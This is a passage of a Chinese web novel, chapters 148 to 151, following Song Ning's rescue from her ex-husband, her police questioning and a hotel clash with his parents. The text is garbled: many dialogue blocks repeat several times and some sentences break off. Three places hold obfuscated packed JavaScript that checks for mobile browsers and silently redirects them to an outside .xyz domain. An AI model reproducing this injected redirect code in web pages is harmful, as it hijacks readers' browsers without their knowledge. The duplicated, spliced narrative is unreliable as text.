宋凝在路上,才听老姚他们说起了来龙去脉。 “……一开始我们都急疯了,还是丁儿脑子转得快,说是要锁定小型游艇。然后苏菲姐那边带来的人疯狂的搜寻海上的无线电信号,但是一晚上都没什么收获。” “直到天快亮的时候,终于有一个一闪而过的卫星电话信号被捕捉到了,丁儿立马带着我们往这边赶,连坐标都是在路上才慢慢确认到的,这才找到了你们。” 第一百四十八章 这件事不能就这么算了 宋凝看了一眼被安放在床上闭眼休息的大拿。 兴许是到了自己人的地方,大拿的精神一下子放松了一下,不用继续强撑了,整个人都有些虚脱似的闭着眼睛,脸色也有些苍白。 宋凝观察了一下大拿的手臂。 可是萝卜往前跨了一步,挡住了宋凝的视线:“嫂子,别看了。” 他的意思宋凝明白。 大拿的手是握枪的,伴随着他取得了许多荣耀,也立下了不少功勋。 人最怕的不是有弱点,而是曾经的强势点变成了弱点,被暴露在所有人眼中。 军人有军人的骄傲,退役也一样。 宋凝一时间顿时心里如同被一双大手疯狂的拧着,痛苦到不可思议。 一双大手拥住了她,把她抱在了怀里,轻抚着她的背:“我们抓紧时间赶回去,大拿的手说不定还能救回来。” 宋凝立刻想到,苏菲家里不就是有这方面的背景吗? 她急急抬起头来:“你大嫂能帮帮忙吗?” “能,”丁予期说:“我也联系了我外公那边,他级别高,医护级别也更高一些。” 宋凝只能点头,然后祈祷游艇开的快一点,更快一点。 半小时后,游艇终于靠岸。 丁予墨和苏菲都在,身后还跟着一些穿着制服的人,宋凝不认识。 不过最前面那位白发苍苍精神矍铄的老人,她有些眼熟。 这不是苏菲家里的园丁爷爷? 丁予期抱着她下了船,径直走了过去,低头叫了一声:“外公。” 陈老爷子轻轻“嗯”了一声,看向宋凝惊讶的面容,慈爱地笑了一下:“宋小姐,我们又见面了。” 事到如今,宋凝哪里还有不明白的道理。 她挣扎了一下,示意丁予期把自己放下来,她也好正经跟陈老爷子打个招呼。 可丁予期不放手,陈老爷子也说:“你算是在他眼皮子底下失踪了,这小子现在恐怕一刻都离不得你。走吧,上车,我先送你们去医院。” 话音刚落,不远处另一些穿着警察制服的人就走了过来:“请问是丁先生您报的案吗?” 丁予期点了点头:“是的。” 他转头跟陈老爷子说道:“外公,这件事不能就这么算了。” 陈老爷子微微颔首,眼神变得锐利起来:“其实,报警要走流程,会慢一些,不如我们自己解决。” 丁予期却说:“我知道,但这件事必须过一个明路,在警方那里留下 记录。” 陈老爷子是也了解自己这个外孙的。 他一贯做事圆滑周全,擅长隐忍,十五年都忍过来了,他自有他的考虑。 陈老爷子有些欣慰,“好,那你们先去处理,大拿交给我。” “谢谢外公。” 老姚和萝卜搀扶着大拿下了船,陈老爷子微微挥了挥手,立刻就有一个医疗队抬着担架跑了过去。 等大拿被轻轻安放在担架上推上了车,老姚和萝卜也跟着一起跳了上去,车子直接快速往医院开去。 陈老爷子看了一眼后方的丁予墨和苏菲,轻声说:“这两个小的,你们多照看一下。” 丁予墨应下:“外公您放心。” 昨晚宋凝失踪之后,丁予期第一时间就报了案。 去警局的途中,丁予期原本已经上了驾驶座,却被他大哥丁予墨赶了下来:“安全起见,我来开。” 丁予期说:“我可以。” 苏菲搂着宋凝靠在自己身上,在后排说道:“你别逞强了,自己的手都在抖,要让我们这几个人都陪你冒险啊?赶紧的,去副驾驶去。” 丁予期只能让出了驾驶座,自己去了副驾驶。 一路上,他频频往后看,次数多的连宋凝都觉得有些诧异。 苏菲轻笑着说:“放心吧,我不跟你抢老婆。” 丁予期尴尬地笑了笑,轻轻“嗯”了一声。 到了警局,按照流程,是要先给宋凝验伤。 警局就有负责验伤的医生,苏菲怕宋凝一个人害怕,所以申请了陪同。 还好,负责验伤的是个女医生,给宋凝上上下下里里外外都检查了一遍。 “没什么大问题,就是手腕和脚踝上有一些擦伤,身上其他部位有一些小面积的软组织挫伤,还有左小臂上有一处锐器划痕,休养一段时间就好了,其他应该没什么事。” 苏菲明显松了一口气:“那就好那就好。” 不过医生突然话锋一转,隐晦地问一句:“宋小姐,需要我帮你采集体液进行化验和比对吗?” 宋凝知道她问的是什么意思。 女性被**的案件中,常常都会伴随着性暴力,而且她身上还有很多擦伤,很难让人不多想。 宋凝说:“我没有被怎么样,只是被限制了自由。” 医生见她情绪稳定,语气平和,也就点了头:“好,我这就帮你开验伤报告,你们可以先去休息区等一会儿。” 苏菲帮着宋凝穿好衣服,扶着她到了休息区坐 下。 她去给宋凝接了一杯热水,小声问道:“那个傅东擎……真的没对你做什么吗?” 宋凝和傅东擎的关系,基本所有人都知道。 尤其是丁予墨和苏菲,他们还参加过她和傅东擎的婚礼,见证过她和傅东擎感情最好的时候。 傅东擎放不下她也不是一天两天了,她就这么被劫走,但傅东擎什么都没做? 她能理解大家的疑虑,但仍旧为这个世界对女人的恶意而感到气愤。 “小凝,我没有别的意思,我只是担心你的身体。” 宋凝点了点头:“我知道。” “但我觉得,你的性格应该不会顾及其他世俗的观念,如果有,你就会说有,如果你说没有,那就一定没有。” 苏菲说着,给了她一个大大的拥抱。 丁予墨过来的时候,给两人带了一些面包和牛奶:“小凝,你先吃点垫垫肚子,一会儿都结束了,我再带你们去好好吃顿饭。” 宋凝其实并不饿,但毕竟是好意,她没有拒绝,撕开面包小口小口的吃着。 只是心里有事,总是有些味同嚼蜡。 丁予墨推了推金丝眼镜,轻声问了一句:“小凝,你是不是还有什么顾虑的?可以告诉大哥,大哥去解决。” 温柔的一句“大哥”,让宋凝心里微微一酸。 “丁大哥,你会相信傅东擎没有对我做什么吗?” 毕竟…… 她跟傅东擎的过往,丁大哥全程见证过。 她的甜蜜,傅东擎曾经的宠溺,那些都不是假的。 丁予墨根本没有停顿,只是轻笑了一下:“傻孩子,我为什么不相信?” “你不会觉得……他会……” “我知道你们之前的关系,但是我更相信自己的判断。你的性格就不是那种遮遮掩掩的,如果有,你一定会说,然后坦白告诉予期,让他选择是否离婚,你不是那种会被世俗观念困住的人。” 下。 她去给宋凝接了一杯热水,小声问道:“那个傅东擎……真的没对你做什么吗?” 宋凝和傅东擎的关系,基本所有人都知道。 尤其是丁予墨和苏菲,他们还参加过她和傅东擎的婚礼,见证过她和傅东擎感情最好的时候。 傅东擎放不下她也不是一天两天了,她就这么被劫走,但傅东擎什么都没做? 她能理解大家的疑虑,但仍旧为这个世界对女人的恶意而感到气愤。 “小凝,我没有别的意思,我只是担心你的身体。” 宋凝点了点头:“我知道。” “但我觉得,你的性格应该不会顾及其他世俗的观念,如果有,你就会说有,如果你说没有,那就一定没有。” 苏菲说着,给了她一个大大的拥抱。 丁予墨过来的时候,给两人带了一些面包和牛奶:“小凝,你先吃点垫垫肚子,一会儿都结束了,我再带你们去好好吃顿饭。” 宋凝其实并不饿,但毕竟是好意,她没有拒绝,撕开面包小口小口的吃着。 只是心里有事,总是有些味同嚼蜡。 丁予墨推了推金丝眼镜,轻声问了一句:“小凝,你是不是还有什么顾虑的?可以告诉大哥,大哥去解决。” 温柔的一句“大哥”,让宋凝心里微微一酸。 “丁大哥,你会相信傅东擎没有对我做什么吗?” 毕竟…… 她跟傅东擎的过往,丁大哥全程见证过。 她的甜蜜,傅东擎曾经的宠溺,那些都不是假的。 丁予墨根本没有停顿,只是轻笑了一下:“傻孩子,我为什么不相信?” “你不会觉得……他会……” “我知道你们之前的关系,但是我更相信自己的判断。你的性格就不是那种遮遮掩掩的,如果有,你一定会说,然后坦白告诉予期,让他选择是否离婚,你不是那种会被世俗观念困住的人。” 下。 她去给宋凝接了一杯热水,小声问道:“那个傅东擎……真的没对你做什么吗?” 宋凝和傅东擎的关系,基本所有人都知道。 尤其是丁予墨和苏菲,他们还参加过她和傅东擎的婚礼,见证过她和傅东擎感情最好的时候。 傅东擎放不下她也不是一天两天了,她就这么被劫走,但傅东擎什么都没做? 她能理解大家的疑虑,但仍旧为这个世界对女人的恶意而感到气愤。 “小凝,我没有别的意思,我只是担心你的身体。” 宋凝点了点头:“我知道。” “但我觉得,你的性格应该不会顾及其他世俗的观念,如果有,你就会说有,如果你说没有,那就一定没有。” 苏菲说着,给了她一个大大的拥抱。 丁予墨过来的时候,给两人带了一些面包和牛奶:“小凝,你先吃点垫垫肚子,一会儿都结束了,我再带你们去好好吃顿饭。” 宋凝其实并不饿,但毕竟是好意,她没有拒绝,撕开面包小口小口的吃着。 只是心里有事,总是有些味同嚼蜡。 丁予墨推了推金丝眼镜,轻声问了一句:“小凝,你是不是还有什么顾虑的?可以告诉大哥,大哥去解决。” 温柔的一句“大哥”,让宋凝心里微微一酸。 “丁大哥,你会相信傅东擎没有对我做什么吗?” 毕竟…… 她跟傅东擎的过往,丁大哥全程见证过。 她的甜蜜,傅东擎曾经的宠溺,那些都不是假的。 丁予墨根本没有停顿,只是轻笑了一下:“傻孩子,我为什么不相信?” “你不会觉得……他会……” “我知道你们之前的关系,但是我更相信自己的判断。你的性格就不是那种遮遮掩掩的,如果有,你一定会说,然后坦白告诉予期,让他选择是否离婚,你不是那种会被世俗观念困住的人。” 下。 她去给宋凝接了一杯热水,小声问道:“那个傅东擎……真的没对你做什么吗?” 宋凝和傅东擎的关系,基本所有人都知道。 尤其是丁予墨和苏菲,他们还参加过她和傅东擎的婚礼,见证过她和傅东擎感情最好的时候。 傅东擎放不下她也不是一天两天了,她就这么被劫走,但傅东擎什么都没做? 她能理解大家的疑虑,但仍旧为这个世界对女人的恶意而感到气愤。 “小凝,我没有别的意思,我只是担心你的身体。” 宋凝点了点头:“我知道。” “但我觉得,你的性格应该不会顾及其他世俗的观念,如果有,你就会说有,如果你说没有,那就一定没有。” 苏菲说着,给了她一个大大的拥抱。 丁予墨过来的时候,给两人带了一些面包和牛奶:“小凝,你先吃点垫垫肚子,一会儿都结束了,我再带你们去好好吃顿饭。” 宋凝其实并不饿,但毕竟是好意,她没有拒绝,撕开面包小口小口的吃着。 只是心里有事,总是有些味同嚼蜡。 丁予墨推了推金丝眼镜,轻声问了一句:“小凝,你是不是还有什么顾虑的?可以告诉大哥,大哥去解决。” 温柔的一句“大哥”,让宋凝心里微微一酸。 “丁大哥,你会相信傅东擎没有对我做什么吗?” 毕竟…… 她跟傅东擎的过往,丁大哥全程见证过。 她的甜蜜,傅东擎曾经的宠溺,那些都不是假的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我知道你们之前的关系,但是我更相信自己的判断。你的性格就不是那种遮遮掩掩的,如果有,你一定会说,然后坦白告诉予期,让他选择是否离婚,你不是那种会被世俗观念困住的人。” 下。 她去给宋凝接了一杯热水,小声问道:“那个傅东擎……真的没对你做什么吗?” 宋凝和傅东擎的关系,基本所有人都知道。 尤其是丁予墨和苏菲,他们还参加过她和傅东擎的婚礼,见证过她和傅东擎感情最好的时候。 傅东擎放不下她也不是一天两天了,她就这么被劫走,但傅东擎什么都没做? 她能理解大家的疑虑,但仍旧为这个世界对女人的恶意而感到气愤。 “小凝,我没有别的意思,我只是担心你的身体。” 宋凝点了点头:“我知道。” “但我觉得,你的性格应该不会顾及其他世俗的观念,如果有,你就会说有,如果你说没有,那就一定没有。” 苏菲说着,给了她一个大大的拥抱。 丁予墨过来的时候,给两人带了一些面包和牛奶:“小凝,你先吃点垫垫肚子,一会儿都结束了,我再带你们去好好吃顿饭。” 宋凝其实并不饿,但毕竟是好意,她没有拒绝,撕开面包小口小口的吃着。 只是心里有事,总是有些味同嚼蜡。 丁予墨推了推金丝眼镜,轻声问了一句:“小凝,你是不是还有什么顾虑的?可以告诉大哥,大哥去解决。” 温柔的一句“大哥”,让宋凝心里微微一酸。 “丁大哥,你会相信傅东擎没有对我做什么吗?” 毕竟…… 她跟傅东擎的过往,丁大哥全程见证过。 她的甜蜜,傅东擎曾经的宠溺,那些都不是假的。 丁予墨根本没有停顿,只是轻笑了一下:“傻孩子,我为什么不相信?” “你不会觉得……他会……” “我知道你们之前的关系,但是我更相信自己的判断。你的性格就不是那种遮遮掩掩的,如果有,你一定会说,然后坦白告诉予期,让他选择是否离婚,你不是那种会被世俗观念困住的人。” 下。 她去给宋凝接了一杯热水,小声问道:“那个傅东擎……真的没对你做什么吗?” 宋凝和傅东擎的关系,基本所有人都知道。 尤其是丁予墨和苏菲,他们还参加过她和傅东擎的婚礼,见证过她和傅东擎感情最好的时候。 傅东擎放不下她也不是一天两天了,她就这么被劫走,但傅东擎什么都没做? 她能理解大家的疑虑,但仍旧为这个世界对女人的恶意而感到气愤。 “小凝,我没有别的意思,我只是担心你的身体。” 宋凝点了点头:“我知道。” “但我觉得,你的性格应该不会顾及其他世俗的观念,如果有,你就会说有,如果你说没有,那就一定没有。” 苏菲说着,给了她一个大大的拥抱。 丁予墨过来的时候,给两人带了一些面包和牛奶:“小凝,你先吃点垫垫肚子,一会儿都结束了,我再带你们去好好吃顿饭。” 宋凝其实并不饿,但毕竟是好意,她没有拒绝,撕开面包小口小口的吃着。 只是心里有事,总是有些味同嚼蜡。 丁予墨推了推金丝眼镜,轻声问了一句:“小凝,你是不是还有什么顾虑的?可以告诉大哥,大哥去解决。” 温柔的一句“大哥”,让宋凝心里微微一酸。 “丁大哥,你会相信傅东擎没有对我做什么吗?” 毕竟…… 她跟傅东擎的过往,丁大哥全程见证过。 她的甜蜜,傅东擎曾经的宠溺,那些都不是假的。 丁予墨根本没有停顿,只是轻笑了一下:“傻孩子,我为什么不相信?” “你不会觉得……他会……” “我知道你们之前的关系,但是我更相信自己的判断。你的性格就不是那种遮遮掩掩的,如果有,你一定会说,然后坦白告诉予期,让他选择是否离婚,你不是那种会被世俗观念困住的人。” 第一百四十九章 她坐我怀里就好 宋凝有些怔住了。 苏菲笑着打趣:“你怎么跟我说的一样啊弄的好像是我们商量好的似的。小凝我们两个真的没有提前串供过啊我一直陪着你的。但是我们两个都跟你相处过如果见面就算的话那也是认识你十五年了你是什么个性我们都了解所以你说没有那肯定是没有。” 苏菲话锋一转突然疑惑起来:“要我说这个傅东擎也有些奇怪啊费那么大劲把人带走结果自己匆匆离开了?他有什么事那么忙吗?” 丁予墨推了推眼镜微微勾起唇角:“这就要问问我的好弟弟了。” 苏菲顿时来了兴致:“这臭小子又使什么阴招了?快跟我说说!” “也没什么当时小凝失踪的突然没有多少布置时间”丁予墨说:“他只是把自己养的那三只狗带到了32楼。” “卫斯理酒店的32楼?为什么?” 丁予墨轻轻挑了挑眉:“傅东擎的父亲怕狗。” “哈?” “小凝之前养过一只小狗被傅学森毒**但是法律上并没有办法惩治什么最后只是拘留了几天就放出来了。这件事……也是小凝和傅东擎最后**的直接**对吧?” 宋凝点了点头。 如果说林澜是让她下定决心离婚的原因那雪球的死就算是斩断了她和傅东擎之间的最后一点牵绊。 丁予期曾经说过在法律上并没有办法对毒害小狗的人判刑至少现在不能最后傅学森也只是以投放有毒物品罪被拘留。 但是她依稀记得丁予期说过会帮她讨回公道…… 那件事过去之后她就回到了S市工作充斥着生活安顿好雪球的骨灰之后她也学会了跟过去彻底告别。 之后又被丁予期带着去了首都然后又是丽晶酒店的事情。 她似乎没有追问过丁予期怎么帮她和雪球讨回公道? “无非是一些装神弄鬼的小伎俩罢了骗人的”丁予墨沉声说道:“但是傅学森做过亏心事可禁不住这么吓一来二去似乎就对狗有种极端的恐惧。” 苏菲问:“所以当他看到予期养的那三头恶犬立刻就吓得尿了裤子?” “虽然没当众尿裤子但是也差不多了反正……丑态百出最后只能紧急打给傅东擎 苏菲拍着手叫好:“这叫什么不是不报时候未到!小 你的朋友正在书荒,快去帮帮他吧 狗的命也是命,为什么毒杀了小狗的人可以没有任何惩罚?狗主人情感上受到的伤害难道就不是伤害了吗?法律没办法处理他们,就得也让他们付出点代价……” “代价呢,当时就付出了。小凝也不是个会忍的,冲到傅家烧了傅学森珍藏的字画,砸碎了蒋秀兰珍爱的兰花。” 苏菲眨了眨眼,但接受的很快:“很符合小凝的一贯脾气。” 丁予墨“嗯”了一声,“所以说,前面种下的因,后面就会结相应的果。” 苏菲突然皱眉:“但是我一直不是很明白,为什么傅学森他们两口子这么不喜欢小凝呢?你要说他们想给傅东擎找个门当户对的豪门大小姐,嫌弃小凝的出身,那也不对啊,他们对那个珠宝店的柜姐都很快就接受了,为什么就不能接受小凝?” 说到这个,丁予墨似乎有些欲言又止。 但是可以明显看得出来,他似乎是知道些内情的。 苏菲也看出来了,知道他似乎是有所顾虑,也怕再伤了宋凝的心,所以笑了笑转移了话题:“算了不说这些不开心的事了,小凝,你晚上想吃什么?我来安排。” 宋凝想了想,然后抬起头,看向了丁予墨:“丁大哥,傅东擎的父母一直对我有成见……是不是跟我的父母有关?” 丁予墨没想到她这么快就猜到了,有些微微惊愕。 但是他没有否认,几乎算是默认了。 但是宋凝更疑惑了:“我的父母一直在南城生活,南城跟H市距离不算远但也不算太近,傅家又是煊赫的门庭,怎么会跟南城的我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他应该是先被问过一次话了,但是看上去状态比较稳定,没什么特殊的表情。 他走了过来,一把抱起宋凝,轻声说:“抱歉警官,我太太的脚受了伤,我抱她进去。” “那我去给宋小姐准备一个轮椅吧。” “不用,她坐我怀里就好。” 第一百五十章 以后遇到鬼都不会怕了 宋凝试图挣了挣,可丁予期脸色阴沉,看起来浑身都透着冷意。 他抱着她走进了问询室,在椅子上坐下,把她横着放在自己的腿上,虚虚地圈着她。 宋凝往四周看了看,这个问询室里除了对面两个警官坐着的椅子之外,被问询人的座位只有一个,就是现在丁予期坐的这个。 她已经没有其他位置了。 刚刚说去找轮椅的那个女警也回来了,见她已经在丁予期怀里坐好,也没有再提轮椅的事情。 “宋凝小姐?”警方开始了例行问讯。 宋凝点了点头:“是。” “请你详细描述一下你被掳走的过程。” 宋凝回忆了一下细节,说道:“我是从背后被袭击的,晕过去之后就不知道了,醒来的时候就已经在公海的一个小游艇里面,被**铐在其中一个船舱的床上。” 在她说到“铐”字的时候,她能感觉到圈着她的怀抱微微僵硬了一下。 但是很快就恢复了自然,一闪而过,仿佛是她的错觉。 “你知道劫持你的人是谁吗?” “知道,”她说:“我的前夫,傅东擎。” “他劫持你的目的是什么?为情还是为财?” “……他很有钱,我没有。” “那就是为情了,他有对你做过任何违背你意愿的举动吗?” 宋凝说:“限制我的人身自由,阻碍我和外界联系。” “除此之外呢?” “说了一些我不爱听的话。” “还有吗?” “没有了。”她补充道:“他没有侵犯我。” 警方也有些意外,她说的这么直白。 宋凝却似乎并没有觉得有任何不妥,平静的叙述着:“我也希望他为自己的行为付出代价,但他确实没有对我怎么样。” 警方看了一眼丁予期。 毕竟他现在是宋凝名义上的丈夫。 丁予期只是微微蹙着眉,看着宋凝手腕和脚腕上的被**弄出来的红痕。 傅东擎或许是怕她跑,她的鞋子都已经处理掉了。 刚刚她又是被丁予期从船舱里抱回来的,所以宋凝现在光着双脚,上面沾了一些灰尘,跟刺目的红痕交织在一起,看起来就显得更加触目惊心了。 丁予期终于收回了目光,问道:“警察先生,请问还有什么需要我们配合的吗?我太太受了伤,我想带她先去医院处理一下。” 警方检查了一下记录册,微微点了点头 :“没有了,你们去吧。” “谢谢。” 从问询室出来的时候,她依旧是被丁予期抱着的。 苏菲和丁予墨迎了上来。 苏菲问道:“结束了吗?” 丁予期轻轻“嗯”了一声:“大嫂,借你的车用一下,我带宋凝去医院。” “好,没问题。” 苏菲去帮忙拉开了副驾驶的车门,宋凝被小心翼翼地放了上去。 丁予期整个人都探了进来,帮她系好了安全带,才绕过去上了驾驶座,发动了车子。 丁予墨问道:“真的不用我们陪你们一起?” “不了,”丁予期轻轻颔首:“大哥大嫂,这次多谢你们,以后如果有用得上我的地方,尽管开口。” …… 去医院的路上。 一路无话。 宋凝习惯了跟丁予期菜鸡互啄,猛不丁地他变得这么安静,她还有些不适应。 “你在岸上等了一晚上吗?” “嗯。”丁予期目视前方,平稳地开着车。 “丁大哥和苏菲也是吗?” 刚好有一个红灯,丁予期把车停下,才转头看她:“他们昨晚连夜坐飞机过来的。” 宋凝微微有些内疚:“其实这件事怪我,我应该提高警惕的。” 头顶上传来温柔的力道,轻轻揉了揉她的头发:“不怪你,是我太心急了,没有把事情做的足够圆滑。” 倘若,他能再忍耐一下,等到林澜真的怀上了傅东擎的孩子,等到傅学森和蒋秀兰逼着傅东擎娶了林澜。 一切都已成定局,或许傅东擎也不会这么不甘心。 “我早该想到,他不会这么轻易罢手。”丁予期沉沉吐出一口气:“好了,你现在就好好休养身体,剩下的事情不用管了,我会处理好的。” 到了医院,女医生给宋凝处理了一下手腕和脚腕上的伤口。 然后他们就回了酒店休息。 进酒店的时候,丁予期压根没有顾及什么,就这么堂而皇之地抱着她穿过了酒店大堂,径直往电梯的方向走去。 可惜冤家路窄,正好遇到了傅学森和蒋秀兰。 蒋秀兰看到了宋凝手腕和脚踝上的伤,戏谑地嗤笑了一声:“我就说这个女人是不能娶回家的,这又是跟哪个男人出去鬼混被人家老婆抓奸在床了?” 丁予期停下了脚步,转身居高临下地看着他们两个。 “蒋阿姨,积点口德。” 蒋秀兰支吾了一下:“ 你看**什么?我合理猜测都不行了?” “多看看您的样子,以后遇到鬼都不会怕了。” “你……” 傅学森勃然大怒:“小丁,上次你带着她来大闹我们家我就觉得不对劲,原来是你跟这个女人早就有一腿了!自己品德不好就算了,你眼里还有没有长幼尊卑?” “傅伯伯,您还想进去蹲局子吗?” “我又没犯法,我凭什么进去蹲局子?就算你是律师,也不能冤枉好人!我相信法律是公正的!” 丁予期冷笑了一声:“好,那我拭目以待。” 他抱着宋凝转身就走。 可蒋秀兰却不依不饶,扯着他的衣服不撒手,“你别走,你把话说清楚,什么叫拭目以待,你还打算虚构一个罪名谋害好人吗?宋凝这个女人真是个扫把星,哪个男人粘上她都得倒霉!你也小心点吧!当心哪一天就被她克**!” “我命硬,谁都克不死。”丁予期低头看了一眼自己被蒋秀兰扯的歪七扭八的衣服下摆,冷声警告道:“蒋阿姨,如果您再不松手,我就叫保安了。” “你叫啊,保安敢动我一根手指?!等我儿子回来剥了他的皮……” 话音未落,林澜就从外面惊慌失措地跑了过来:“爸,妈——” 你看**什么?我合理猜测都不行了?” “多看看您的样子,以后遇到鬼都不会怕了。” “你……” 傅学森勃然大怒:“小丁,上次你带着她来大闹我们家我就觉得不对劲,原来是你跟这个女人早就有一腿了!自己品德不好就算了,你眼里还有没有长幼尊卑?” “傅伯伯,您还想进去蹲局子吗?” “我又没犯法,我凭什么进去蹲局子?就算你是律师,也不能冤枉好人!我相信法律是公正的!” 丁予期冷笑了一声:“好,那我拭目以待。” 他抱着宋凝转身就走。 可蒋秀兰却不依不饶,扯着他的衣服不撒手,“你别走,你把话说清楚,什么叫拭目以待,你还打算虚构一个罪名谋害好人吗?宋凝这个女人真是个扫把星,哪个男人粘上她都得倒霉!你也小心点吧!当心哪一天就被她克**!” “我命硬,谁都克不死。”丁予期低头看了一眼自己被蒋秀兰扯的歪七扭八的衣服下摆,冷声警告道:“蒋阿姨,如果您再不松手,我就叫保安了。” “你叫啊,保安敢动我一根手指?!等我儿子回来剥了他的皮……” 话音未落,林澜就从外面惊慌失措地跑了过来:“爸,妈——” 你看**什么?我合理猜测都不行了?” “多看看您的样子,以后遇到鬼都不会怕了。” “你……” 傅学森勃然大怒:“小丁,上次你带着她来大闹我们家我就觉得不对劲,原来是你跟这个女人早就有一腿了!自己品德不好就算了,你眼里还有没有长幼尊卑?” “傅伯伯,您还想进去蹲局子吗?” “我又没犯法,我凭什么进去蹲局子?就算你是律师,也不能冤枉好人!我相信法律是公正的!” 丁予期冷笑了一声:“好,那我拭目以待。” 他抱着宋凝转身就走。 可蒋秀兰却不依不饶,扯着他的衣服不撒手,“你别走,你把话说清楚,什么叫拭目以待,你还打算虚构一个罪名谋害好人吗?宋凝这个女人真是个扫把星,哪个男人粘上她都得倒霉!你也小心点吧!当心哪一天就被她克**!” “我命硬,谁都克不死。”丁予期低头看了一眼自己被蒋秀兰扯的歪七扭八的衣服下摆,冷声警告道:“蒋阿姨,如果您再不松手,我就叫保安了。” “你叫啊,保安敢动我一根手指?!等我儿子回来剥了他的皮……” 话音未落,林澜就从外面惊慌失措地跑了过来:“爸,妈——” 你看**什么?我合理猜测都不行了?” “多看看您的样子,以后遇到鬼都不会怕了。” “你……” 傅学森勃然大怒:“小丁,上次你带着她来大闹我们家我就觉得不对劲,原来是你跟这个女人早就有一腿了!自己品德不好就算了,你眼里还有没有长幼尊卑?” “傅伯伯,您还想进去蹲局子吗?” “我又没犯法,我凭什么进去蹲局子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136758|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?就算你是律师,也不能冤枉好人!我相信法律是公正的!” 丁予期冷笑了一声:“好,那我拭目以待。” 他抱着宋凝转身就走。 可蒋秀兰却不依不饶,扯着他的衣服不撒手,“你别走,你把话说清楚,什么叫拭目以待,你还打算虚构一个罪名谋害好人吗?宋凝这个女人真是个扫把星,哪个男人粘上她都得倒霉!你也小心点吧!当心哪一天就被她克**!” “我命硬,谁都克不死。”丁予期低头看了一眼自己被蒋秀兰扯的歪七扭八的衣服下摆,冷声警告道:“蒋阿姨,如果您再不松手,我就叫保安了。” “你叫啊,保安敢动我一根手指?!等我儿子回来剥了他的皮……” 话音未落,林澜就从外面惊慌失措地跑了过来:“爸,妈——” 你看**什么?我合理猜测都不行了?” “多看看您的样子,以后遇到鬼都不会怕了。” “你……” 傅学森勃然大怒:“小丁,上次你带着她来大闹我们家我就觉得不对劲,原来是你跟这个女人早就有一腿了!自己品德不好就算了,你眼里还有没有长幼尊卑?” “傅伯伯,您还想进去蹲局子吗?” “我又没犯法,我凭什么进去蹲局子?就算你是律师,也不能冤枉好人!我相信法律是公正的!” 丁予期冷笑了一声:“好,那我拭目以待。” 他抱着宋凝转身就走。 可蒋秀兰却不依不饶,扯着他的衣服不撒手,“你别走,你把话说清楚,什么叫拭目以待,你还打算虚构一个罪名谋害好人吗?宋凝这个女人真是个扫把星,哪个男人粘上她都得倒霉!你也小心点吧!当心哪一天就被她克**!” “我命硬,谁都克不死。”丁予期低头看了一眼自己被蒋秀兰扯的歪七扭八的衣服下摆,冷声警告道:“蒋阿姨,如果您再不松手,我就叫保安了。” “你叫啊,保安敢动我一根手指?!等我儿子回来剥了他的皮……” 话音未落,林澜就从外面惊慌失措地跑了过来:“爸,妈——” 你看**什么?我合理猜测都不行了?” “多看看您的样子,以后遇到鬼都不会怕了。” “你……” 傅学森勃然大怒:“小丁,上次你带着她来大闹我们家我就觉得不对劲,原来是你跟这个女人早就有一腿了!自己品德不好就算了,你眼里还有没有长幼尊卑?” “傅伯伯,您还想进去蹲局子吗?” “我又没犯法,我凭什么进去蹲局子?就算你是律师,也不能冤枉好人!我相信法律是公正的!” 丁予期冷笑了一声:“好,那我拭目以待。” 他抱着宋凝转身就走。 可蒋秀兰却不依不饶,扯着他的衣服不撒手,“你别走,你把话说清楚,什么叫拭目以待,你还打算虚构一个罪名谋害好人吗?宋凝这个女人真是个扫把星,哪个男人粘上她都得倒霉!你也小心点吧!当心哪一天就被她克**!” “我命硬,谁都克不死。”丁予期低头看了一眼自己被蒋秀兰扯的歪七扭八的衣服下摆,冷声警告道:“蒋阿姨,如果您再不松手,我就叫保安了。” “你叫啊,保安敢动我一根手指?!等我儿子回来剥了他的皮……” 话音未落,林澜就从外面惊慌失措地跑了过来:“爸,妈——” 你看**什么?我合理猜测都不行了?” “多看看您的样子,以后遇到鬼都不会怕了。” “你……” 傅学森勃然大怒:“小丁,上次你带着她来大闹我们家我就觉得不对劲,原来是你跟这个女人早就有一腿了!自己品德不好就算了,你眼里还有没有长幼尊卑?” “傅伯伯,您还想进去蹲局子吗?” “我又没犯法,我凭什么进去蹲局子?就算你是律师,也不能冤枉好人!我相信法律是公正的!” 丁予期冷笑了一声:“好,那我拭目以待。” 他抱着宋凝转身就走。 可蒋秀兰却不依不饶,扯着他的衣服不撒手,“你别走,你把话说清楚,什么叫拭目以待,你还打算虚构一个罪名谋害好人吗?宋凝这个女人真是个扫把星,哪个男人粘上她都得倒霉!你也小心点吧!当心哪一天就被她克**!” “我命硬,谁都克不死。”丁予期低头看了一眼自己被蒋秀兰扯的歪七扭八的衣服下摆,冷声警告道:“蒋阿姨,如果您再不松手,我就叫保安了。” “你叫啊,保安敢动我一根手指?!等我儿子回来剥了他的皮……” 话音未落,林澜就从外面惊慌失措地跑了过来:“爸,妈——” 第一百五十一章 仇恨的力量是无穷的 或许是因为宋凝在场,蒋秀兰存心气她,故意对林澜特别热络:“澜澜,怎么啦?跟妈说,妈就是你坚实的后盾。” 林澜却没有开心起来,反而急切地说:“我刚刚打东东的电话,是一个警察接的,说东东被抓了,正在警局接受审讯。” “被抓了?!”傅学森连忙问道:“为什么被抓?” “说是……”林澜瞥了丁予期怀里的宋凝一眼,咬着唇说:“涉嫌**。” 